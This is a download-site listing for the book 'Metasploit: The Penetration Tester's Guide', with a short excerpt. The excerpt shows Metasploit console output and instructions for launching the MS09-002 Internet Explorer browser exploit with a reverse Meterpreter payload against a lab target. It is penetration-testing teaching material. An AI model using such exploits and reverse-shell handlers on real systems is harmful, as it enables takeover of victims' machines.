Metasploit: The Penetration Tester's Guide by Kennedy David & Jim O'Gorman & Devon Kearns & Mati Aharoni

Author:Kennedy, David & Jim O'Gorman & Devon Kearns & Mati Aharoni [Kennedy, David]
Language: eng
Format: mobi
Tags: COMPUTERS / Internet / Security
Published: 0101-01-01T00:00:00+00:00

msf

exploit(ms09_002_memory_corruption)

>

[*] Started reverse handler on

172.16.32.129:443

[*] Using URL:

http://0.0.0.0:8080/

[*] Local IP:

http://172.16.32.129:8080/

[*] Server started.

To complete the attack setup, select

the default reverse Meterpreter

payload along with default

encoding and listening port .

Choose not to configure a Linux and

OS X payload

, and then set the

browser exploit to Internet

Explorer 7 Uninitialized

Memory Corruption (MS09-002)

; then SET will launch the attack.

Once everything is running, you can

browse to the website and see

what’s going on there. A message

URL tells you that the site has been

moved. Please refer to Figure 10-4

to see what the target will see on

his machine.

Click the link and the Metasploit

exploit begins. Here’s the handler

on the backend:

[*] Sending Internet Explorer 7

CFunctionPointer Uninitialized

Memory

Corruption to

172.16.32.131:1329...

This exploit fails, because we are

using Internet Explorer 6. The

target’s screen is shown in

Figure 10-6.

Download

Copyright Disclaimer:
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.